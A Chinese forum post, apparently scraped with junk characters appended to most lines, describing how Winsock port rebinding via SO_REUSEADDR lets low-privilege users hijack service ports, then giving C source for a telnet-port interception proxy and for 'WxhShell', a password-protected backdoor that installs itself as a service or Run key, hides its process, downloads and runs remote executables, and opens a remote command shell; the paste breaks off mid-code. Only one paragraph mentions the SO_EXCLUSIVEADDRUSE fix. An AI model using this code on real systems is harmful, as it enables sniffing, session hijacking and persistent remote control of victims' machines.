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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gg#lI|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fs=)*6}&  
X68.*VHh0  
  saddr.sin_family = AF_INET; Ty7 `&  
F$:UvW@e1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @FF{lK?[  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /+ais 3  
JFNjc:4{0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !HhF*Rlr  
qM2m!  
  这意味着什么?意味着可以进行如下的攻击: 5'`DrTOA  
PJ<qqA`!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }1CvbB%,A  
)1GJ^h$l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !\Cu J5U  
 =Uo*-EH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 utn,`v   
3rJ LLYR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,I]]52+?4  
tqpi{e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0G Q8} r  
2#/sIu-L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X(8LhsP  
iO18FfM_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nYvkeT  
Lm1JiP s d  
  #include _)YB*z5  
  #include U17=/E  
  #include &%(SkL_]  
  #include    *%atE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $ )2zz>4  
  int main() SD@ 0X[  
  { 7*WO9R/  
  WORD wVersionRequested; 7:JGrO  
  DWORD ret; b+f '  
  WSADATA wsaData; 5'w&M{{9  
  BOOL val; OCCC' k  
  SOCKADDR_IN saddr; ^'+#BPo9@  
  SOCKADDR_IN scaddr; %@ q2  
  int err; vkG%w;  
  SOCKET s; yWT1CID  
  SOCKET sc; CC$rt2\e  
  int caddsize; F/:%YR;  
  HANDLE mt; ~xws5n}F  
  DWORD tid;   3.ShAL  
  wVersionRequested = MAKEWORD( 2, 2 ); v5?ct?q  
  err = WSAStartup( wVersionRequested, &wsaData ); P"@^BQ4  
  if ( err != 0 ) { $j@P 8<M7  
  printf("error!WSAStartup failed!\n"); uI9+@oV  
  return -1; hew"p(`  
  } adgd7JjI*  
  saddr.sin_family = AF_INET; Mdp'u$^!  
   } ,Dk6w$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9Gx`[{wI9<  
['iEw!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N1x~-2(  
  saddr.sin_port = htons(23); i2[8^o`_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [`bK {Dq2  
  { E2`9H-6e  
  printf("error!socket failed!\n"); Of9 gS-m  
  return -1; Q?`s4P)14o  
  } D})12qB;u9  
  val = TRUE; \SYeDy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &#.>-D{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) txX>zR*)  
  { R-mn8N&  
  printf("error!setsockopt failed!\n"); EF9Y=(0|  
  return -1; |;p.!FO  
  } iVmy|ewd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8R(l~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hwi_=-SL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pm[i#V<v  
Aq>?G+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /h]ru SI  
  { C?<-`$0  
  ret=GetLastError(); y T&#k1  
  printf("error!bind failed!\n"); nCA~=[&H  
  return -1; REsw=P!b  
  } I'2I'x\M  
  listen(s,2); 8"V1h72vcW  
  while(1) ]<Q&  
  { fy&u[Jd{  
  caddsize = sizeof(scaddr); #nZPnc:  
  //接受连接请求 M}=>~TA@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !g#y$  
  if(sc!=INVALID_SOCKET) ?k^m|Z  
  { :}gEt?TUhs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (FGH t/!  
  if(mt==NULL) V <ilv<  
  { S5UQ   
  printf("Thread Creat Failed!\n"); GE !p  
  break; WU,b<PU &  
  } axN\ZXU  
  } C!6D /S  
  CloseHandle(mt); hVd_1|/X  
  } 8;f5;7M n  
  closesocket(s); [O]rf+NZ(5  
  WSACleanup(); #v6<9>%  
  return 0; n(SeJk%>9  
  }   m6gMVon  
  DWORD WINAPI ClientThread(LPVOID lpParam) zzd PR}VG  
  { gp'k(rGH  
  SOCKET ss = (SOCKET)lpParam; Q j|tD+<  
  SOCKET sc; <;1M!.)5  
  unsigned char buf[4096]; { qCFd  
  SOCKADDR_IN saddr; 3Jj&wHp]  
  long num; .>1Y-NM  
  DWORD val; E7/i_Xkk  
  DWORD ret; rA8{Q.L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xjrL@LO#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1/?K/gL  
  saddr.sin_family = AF_INET; rcH{"\F_/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >>8{N)c5E  
  saddr.sin_port = htons(23); ?<Mx*l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nm %7e!{m  
  { ?_T[]I'  
  printf("error!socket failed!\n"); g+?2@L$L  
  return -1; g{kjd2  
  } 7fl{<uf  
  val = 100; s={IKU&m[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p+7#`iICE  
  { 4|4[3Ye7u:  
  ret = GetLastError(); WB `h)  
  return -1; zp``e;gY  
  } vM:c70=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N]\)Ok  
  { r!|h3*YA  
  ret = GetLastError(); 6k {gI.SG  
  return -1; Pw6%,?lQ  
  } )/2TU]//  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) > -(Zx  
  { rQ&XHG>Q*  
  printf("error!socket connect failed!\n"); W?[ C au-  
  closesocket(sc); l?Ls=J*  
  closesocket(ss); ln6=XDu  
  return -1; OE_V6 Er  
  } p )WRsJ8  
  while(1) J90 )v7  
  { 4sC)hAx&f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X[SIk%{D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nAX/u[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GBT219Z@8  
  num = recv(ss,buf,4096,0); Wy /5Qw~s  
  if(num>0) 7=qvu&{  
  send(sc,buf,num,0); VM;vLUu!e  
  else if(num==0) ob|^lAU  
  break; /R>YDout}  
  num = recv(sc,buf,4096,0); BE54L+$p  
  if(num>0) ~4mRm!DP  
  send(ss,buf,num,0); Ua~8DdW  
  else if(num==0) 8~|v:qk  
  break; VAe[x `  
  } >Qg-dJt[  
  closesocket(ss); D/,(xWaT  
  closesocket(sc); cu)B!#<!&  
  return 0 ; q &S@\b  
  } O2U}jHsd  
pkTVQdtRG  
b%d,X-3  
========================================================== iDltN]zS  
^E~1%Md.  
下边附上一个代码,,WXhSHELL J-5kvQi8  
e-VGJxR  
========================================================== wT-K g=-q  
0}'/3Q  
#include "stdafx.h" B^{~,'  
HC6v#-( `{  
#include <stdio.h> T#vY(d  
#include <string.h> Rv.IHSQUo  
#include <windows.h> vV"I}L  
#include <winsock2.h> u}rJqZ  
#include <winsvc.h> NH*"AE;  
#include <urlmon.h> ;3%Y@FS@  
UVW4KUxR  
#pragma comment (lib, "Ws2_32.lib") vjA!+_I6  
#pragma comment (lib, "urlmon.lib") a^Q ?K\c4N  
K1&t>2=%  
#define MAX_USER   100 // 最大客户端连接数 _3#_6>=M  
#define BUF_SOCK   200 // sock buffer :u)Qs#'29  
#define KEY_BUFF   255 // 输入 buffer YHxQb$v)  
uh>"TeOi  
#define REBOOT     0   // 重启 - Nt8'-  
#define SHUTDOWN   1   // 关机 D<WGau2H  
{CFy %  
#define DEF_PORT   5000 // 监听端口 (Bv~6tj~J  
[ /<kPi  
#define REG_LEN     16   // 注册表键长度 8I<j"6`+Q  
#define SVC_LEN     80   // NT服务名长度 *_H]?&  
<$C3] =2  
// 从dll定义API VA %lJ!$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (CAkzgTfc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &[N_{O|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5'<a,,RKu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NSq29#  
'a:';hU3f  
// wxhshell配置信息 O[p c$Pi  
struct WSCFG { P:5vS:s?  
  int ws_port;         // 监听端口 =F5zU5`i  
  char ws_passstr[REG_LEN]; // 口令 Tr;&bX5]H  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7g%\+%F I  
  char ws_regname[REG_LEN]; // 注册表键名 '?LqVzZI  
  char ws_svcname[REG_LEN]; // 服务名 -<e_^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /"^XrVi-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =?N$0F!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6}Rb-\N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h${=gSJc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _SH~.Mt_!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^g.H JQ'vF  
[@]i_L[  
}; L=WKqRa>4  
1@F>E;YjL=  
// default Wxhshell configuration X?(R!=a  
struct WSCFG wscfg={DEF_PORT, @4Q /J$  
    "xuhuanlingzhe", F;Q'R |HQ  
    1, !P":z0K4  
    "Wxhshell", (nYGN$qC9  
    "Wxhshell", /J(~NGT  
            "WxhShell Service", : ?>yi7w  
    "Wrsky Windows CmdShell Service", ZmJ<FF4  
    "Please Input Your Password: ", OM`Ws5W}f  
  1, ~D`  
  "http://www.wrsky.com/wxhshell.exe", D r"PS >.  
  "Wxhshell.exe" =Wz)(N  
    }; k7(lwEgNG  
k,ezB+  
// 消息定义模块 Qv)DSl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &v feBth  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?=HoU3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J0o,ZH9  
char *msg_ws_ext="\n\rExit."; <~u-zaN<W  
char *msg_ws_end="\n\rQuit."; `7.$ A U  
char *msg_ws_boot="\n\rReboot..."; ij.NSyk9  
char *msg_ws_poff="\n\rShutdown..."; Z2-"NB  
char *msg_ws_down="\n\rSave to "; Fc|N6I'o  
#eF k  
char *msg_ws_err="\n\rErr!"; #T8PgmR  
char *msg_ws_ok="\n\rOK!"; $&i8/pD  
^+kymZ  
char ExeFile[MAX_PATH]; 1bjWWNzQA  
int nUser = 0; D8{f7{nY  
HANDLE handles[MAX_USER]; GC(QV}9z"  
int OsIsNt;  sHOBT,B  
X+ /^s)  
SERVICE_STATUS       serviceStatus; \KKE&3=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~y/qm [P  
^S(QvoaQ  
// 函数声明 A-h[vP!v|  
int Install(void); o@ L '|#e  
int Uninstall(void); (?i4P5s[!  
int DownloadFile(char *sURL, SOCKET wsh); e488}h6#m  
int Boot(int flag); K 28s<i`  
void HideProc(void); |EY1$qItid  
int GetOsVer(void); &y-z[GR[{  
int Wxhshell(SOCKET wsl); cs[nFfM  
void TalkWithClient(void *cs); *q@3yB}  
int CmdShell(SOCKET sock); $8Z4jo  
int StartFromService(void); S7@/d HN  
int StartWxhshell(LPSTR lpCmdLine); sWi4+PAM0  
Sae*VvT6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &4*f28 s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <y#@v  G  
`9A`pC  
// 数据结构和表定义 J6@RIia  
SERVICE_TABLE_ENTRY DispatchTable[] = CX ; m8  
{ Fz| r[  
{wscfg.ws_svcname, NTServiceMain}, 6p.y/LMO  
{NULL, NULL} ^,J>=>,1\  
}; 29&F_  
(@bq@0g  
// 自我安装 Fw^^sB  
int Install(void) b27t-p8  
{ Rhw+~gd*F  
  char svExeFile[MAX_PATH]; 7 4hRG~  
  HKEY key; 8k_hX^  
  strcpy(svExeFile,ExeFile); Un&rP70  
G)gb5VW k  
// 如果是win9x系统,修改注册表设为自启动 -oY8]HrXfK  
if(!OsIsNt) { o<5+v^mt#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'L^M"f^I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &M=15 uCK  
  RegCloseKey(key); 'vKae  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J8[aVG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w,X J8+B  
  RegCloseKey(key); Vw`%|x"Xz  
  return 0; th5UzpB4  
    } Dj3,SJ*x  
  } Rk{vz|  
} >xXq:4l>}  
else { j|b$b,rF\  
\)2'+R  
// 如果是NT以上系统,安装为系统服务 Ix0#eoj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Eks<O  
if (schSCManager!=0) `6PBV+]Vm3  
{ 4I.)>+8V  
  SC_HANDLE schService = CreateService 2/x~w~3U  
  ( Z`n "}{  
  schSCManager, %~0]o@LW7  
  wscfg.ws_svcname, 5H( ]"C  
  wscfg.ws_svcdisp, w*u.z(:a`  
  SERVICE_ALL_ACCESS, FR\r/+n:t0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _j~y;R)  
  SERVICE_AUTO_START, #(Yd'qKo  
  SERVICE_ERROR_NORMAL, i6O'UzD@T  
  svExeFile, rY$ wC%  
  NULL, MYVb !  
  NULL, OK z5;#S=  
  NULL, oq (W|  
  NULL, nd5.Py$  
  NULL ?gjkgCbC#  
  ); >VG*La' c  
  if (schService!=0) W~s:SN  
  { dE 3M   
  CloseServiceHandle(schService); Mv:\T%]  
  CloseServiceHandle(schSCManager); `*i:z'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r'@7aT&_  
  strcat(svExeFile,wscfg.ws_svcname); bKh}Y`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d~T@fa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <<9|*Tz  
  RegCloseKey(key); )[=C@U  
  return 0; M-8d*#_P  
    } WWLf'89It  
  } Wq<H sJd/  
  CloseServiceHandle(schSCManager); vJ;0%;eu[!  
} }hXmK.['  
} aED73:b  
Z'd]oNF  
return 1; %d /]8uO  
} EV;"]lC9  
{9~3y2:  
// 自我卸载 j ~I_by  
int Uninstall(void) 4UN|`'c  
{ M1*x47bN  
  HKEY key; &0+Ba[Z ^  
gGs"i]c  
if(!OsIsNt) { V]Uc@7S/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9rM#w"E?<  
  RegDeleteValue(key,wscfg.ws_regname); +5%ncSJx  
  RegCloseKey(key); \^lDd~MWG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8boiJku`  
  RegDeleteValue(key,wscfg.ws_regname); WGUd@lC~  
  RegCloseKey(key); uY3?(f#  
  return 0; sjHcq5#U!  
  } W^eQ}A+Z  
} UAC"jy1D  
} +;q` A 1  
else { /KlSI<T@  
)1<GSr9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BNixp[Hc  
if (schSCManager!=0) D$`$4mX@hP  
{ OSwum!hzN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M0]J `fL@  
  if (schService!=0) XFi9qL^  
  { 6g)CpZU  
  if(DeleteService(schService)!=0) { 8w~X4A,  
  CloseServiceHandle(schService); 31p7oRzr  
  CloseServiceHandle(schSCManager); Krr51` hZH  
  return 0; |}d+BD  
  } MQX9BJ%  
  CloseServiceHandle(schService); ~6[3Km|2  
  } k?Njge6@  
  CloseServiceHandle(schSCManager); f2ck=3  
} _A=i2?g  
} 6dRvx;d  
OZe`>Q6  
return 1; 1.nYT*  
} R !>SN0  
d\tA1&k71  
// 从指定url下载文件 Jn20^YG  
int DownloadFile(char *sURL, SOCKET wsh) 3+! G9T!  
{ 0u I=8j  
  HRESULT hr; /@",5U#  
char seps[]= "/"; LE g#W  
char *token; uao#=]?)  
char *file; %~N| RSec  
char myURL[MAX_PATH]; \M*c3\&~,e  
char myFILE[MAX_PATH]; gi8f)MNP?~  
f;b f R&v  
strcpy(myURL,sURL); 5+/XO>P1m|  
  token=strtok(myURL,seps); :]8!G- Z  
  while(token!=NULL) 2HDWlUTNVO  
  { Xzqx8Kd  
    file=token; mC'<Ov<eJ  
  token=strtok(NULL,seps); v/,,z+%-  
  } "[CR5q9Pr  
Q776cj^L  
GetCurrentDirectory(MAX_PATH,myFILE); YOY2K%o  
strcat(myFILE, "\\"); @680.+Kw  
strcat(myFILE, file); T~d_?UAw$  
  send(wsh,myFILE,strlen(myFILE),0); UvL=^*tm  
send(wsh,"...",3,0); 2hb>6Z;r]K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D#d/?\2  
  if(hr==S_OK) )c.!3n/pb  
return 0; t]ID  
else 0 l+Jq  
return 1; k jx<;##R8  
:79u2wSh  
} < WQ ~X<1D  
?p>m ;Aq  
// 系统电源模块 "lB%"}  
int Boot(int flag) uFfk!  
{ -s 7a\H{~  
  HANDLE hToken; zo1 fUsK?  
  TOKEN_PRIVILEGES tkp; >ni0:^vp  
@ b} -<~  
  if(OsIsNt) { gdg "g6b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  >Xxi2Vy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SjvSnb_3  
    tkp.PrivilegeCount = 1; dfXBgsc6i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UDlM?r:f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TjjR% 3  
if(flag==REBOOT) { i`!>zl+D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xQNGlVipZ@  
  return 0; p,3}A( >  
} 352RJC  
else { ;/!o0:m^I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3E!3kSh|  
  return 0; bMqFrG  
} {wf5HA  
  } u/J1Z>0  
  else { tSVS ogGd  
if(flag==REBOOT) { RvyCc!d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cEGR?4z  
  return 0; XM`&/)  
} B3E}fQm )  
else { yB4eUa!1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {3``B#}  
  return 0; MKX58y{+  
}  4Gj  
} Fh}GJE   
!_-Uwg  
return 1; QvlV jDIy  
} yL23 Nqe  
j/1 f|x  
// win9x进程隐藏模块 z -'e<v;w  
void HideProc(void) /lc4oXG8  
{ oW6b3Q /B  
|)[&V3+|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NZ% v{?  
  if ( hKernel != NULL ) b{.Y?.U  
  { KB gFS%-W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2|${2u`$&y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -+:t%A?  
    FreeLibrary(hKernel); R=S)O.*R  
  } EfX,0NqT  
cEK#5   
return; P9M%B2DQ6f  
} $]4o!Z  
+9.GNu  
// 获取操作系统版本 y]uBVn'u  
int GetOsVer(void) }-p-(  
{ )Dyyb1\)  
  OSVERSIONINFO winfo; f;bVzti+w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nh^q&[?  
  GetVersionEx(&winfo); {]O.?Yru?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U/-|hfh  
  return 1; dlwOmO'Bm)  
  else :DFtH13qO  
  return 0; SOluTFxUw  
} vtRz;~,Z  
!#S"[q  
// 客户端句柄模块 XLlJ|xhY-K  
int Wxhshell(SOCKET wsl) P8 R^46  
{ VYQ]?XF3i  
  SOCKET wsh; |A2o$H  
  struct sockaddr_in client; .+~9 vH  
  DWORD myID; '^tC|)  
)+f"J$ah  
  while(nUser<MAX_USER) sc z8 `%  
{ Sre:l'.  
  int nSize=sizeof(client); )O>M~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q!h+1fb  
  if(wsh==INVALID_SOCKET) return 1;  y)3OQ24  
xo{z4W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +; =XiB5R  
if(handles[nUser]==0) /$j,p E=  
  closesocket(wsh); }'h\;8y  
else d,o|>e$  
  nUser++; Us3zvpy)o  
  } .~|[* q\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gg%pU+'T  
od*#)   
  return 0; >P-'C^:V=  
} )ZpMB  
x)f<lZ^L&H  
// 关闭 socket '~xiD?:  
void CloseIt(SOCKET wsh) Sy^@v%P'A  
{ kE1k@h#/  
closesocket(wsh); a,e;(/#\7  
nUser--; U:8cz=#  
ExitThread(0); "|/q4JN)7d  
} u\)q.`  
}+F@A`Bm&  
// 客户端请求句柄 5Trc#i<\  
void TalkWithClient(void *cs) #,OiZQJC  
{ i"n1E@  
F/"lJ/I  
  SOCKET wsh=(SOCKET)cs; 2]H?q!l!O  
  char pwd[SVC_LEN];  hAD gi^  
  char cmd[KEY_BUFF]; T^Hq 5Oy  
char chr[1]; ?]>;Wr  
int i,j; R_#k^P^  
,n$HTWa@0  
  while (nUser < MAX_USER) { 9<5ii  
h#u k-7  
if(wscfg.ws_passstr) { Cm-dos  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h2 >a_0"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1JZhcfG  
  //ZeroMemory(pwd,KEY_BUFF); zvT8r(<n}  
      i=0; $Y%,?>AL<  
  while(i<SVC_LEN) { 3H%bbFy  
S~GS:E#  
  // 设置超时 ?Xq kf>  
  fd_set FdRead; 'N/u< `)  
  struct timeval TimeOut; cgR8+o  
  FD_ZERO(&FdRead); t]xR`Rr;X  
  FD_SET(wsh,&FdRead); UhSaqq  
  TimeOut.tv_sec=8; 5w</Ga  
  TimeOut.tv_usec=0; 9dp1NjOtAc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #YSFiy:+r_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }jYVB|2  
isz-MP$:K5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {-yw@Kq  
  pwd=chr[0]; YyC$\HH6  
  if(chr[0]==0xd || chr[0]==0xa) { >FL%H=]  
  pwd=0; Tlk!6A:  
  break; *++}ll6  
  } svMu85z  
  i++; B8zc#0!1  
    } ` bZgw  
^C;ULUn3  
  // 如果是非法用户,关闭 socket |43Oc:Ah+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i \@a&tw  
} D*ZswHT{y  
"1hFx=W+\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'w_Qs~6~{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P@U2Q%\  
l$C Y gm  
while(1) { *Q;?p hr  
Y\E7nll:.  
  ZeroMemory(cmd,KEY_BUFF); =an 0PN  
=@MJEo`D  
      // 自动支持客户端 telnet标准   @[]#[7  
  j=0; %4Yq (e  
  while(j<KEY_BUFF) { \Z-Fu=8J8^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w+hpi5OH  
  cmd[j]=chr[0]; |^OK@KdL1  
  if(chr[0]==0xa || chr[0]==0xd) { Uq.hCb`:  
  cmd[j]=0; B9]bv]  
  break; ]i8t  
  } <6C:\{eo  
  j++; )%HIC@MM6  
    } RT[ E$H  
"MyMByomQ  
  // 下载文件 iXqRX';F'}  
  if(strstr(cmd,"http://")) { V/yj.aA*@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sea6xGdq  
  if(DownloadFile(cmd,wsh)) Nu+DVIM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {X-a6OQj  
  else i~rb-~o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !'>,37()  
  } +(h{ 3Y|  
  else { $rPQ%2eF4  
fD%20P`.  
    switch(cmd[0]) { 2j$~lI  
  Kr+#)S  
  // 帮助 )oZ2,]us!  
  case '?': { iK8jX?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ic%ZoZ_  
    break; 5JS*6|IbD{  
  } 2fP;>0?  
  // 安装 Ij:yTu   
  case 'i': { N: 5 N}am  
    if(Install()) l$m}aQ%h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7hT@,|(j  
    else NdC5w-WY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T `o[whr  
    break; ~gg&G~ ET  
    } }U|Vpgd!  
  // 卸载 mBQpf/PG  
  case 'r': { 54oJ MW9  
    if(Uninstall()) Nf}i /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Zfi/^0U  
    else L),bP fz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r"dR}S.Uf  
    break; T/jxsIt3  
    } y8 dOx=c  
  // 显示 wxhshell 所在路径 KIY9?B=+  
  case 'p': { o 9d|XY_  
    char svExeFile[MAX_PATH]; ~iq=J5IN#  
    strcpy(svExeFile,"\n\r"); DkW^gt  
      strcat(svExeFile,ExeFile); _.SpU`>/f  
        send(wsh,svExeFile,strlen(svExeFile),0); [<nd+3E  
    break; )-25?B  
    } `tl-] ^Y2  
  // 重启 Bq tN=  
  case 'b': { p:3w8#)MZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wcGv#J],  
    if(Boot(REBOOT)) <Ik5S1<h$H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #It!D5A  
    else { lLI%J>b@  
    closesocket(wsh); 6sT( t8[  
    ExitThread(0); gwFW+*h  
    } 6xu%M&ht  
    break; OXbC\^qo@  
    } !wKiMgLS  
  // 关机 h7AO5"6  
  case 'd': { k;r[m ,$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u/FC\xJc  
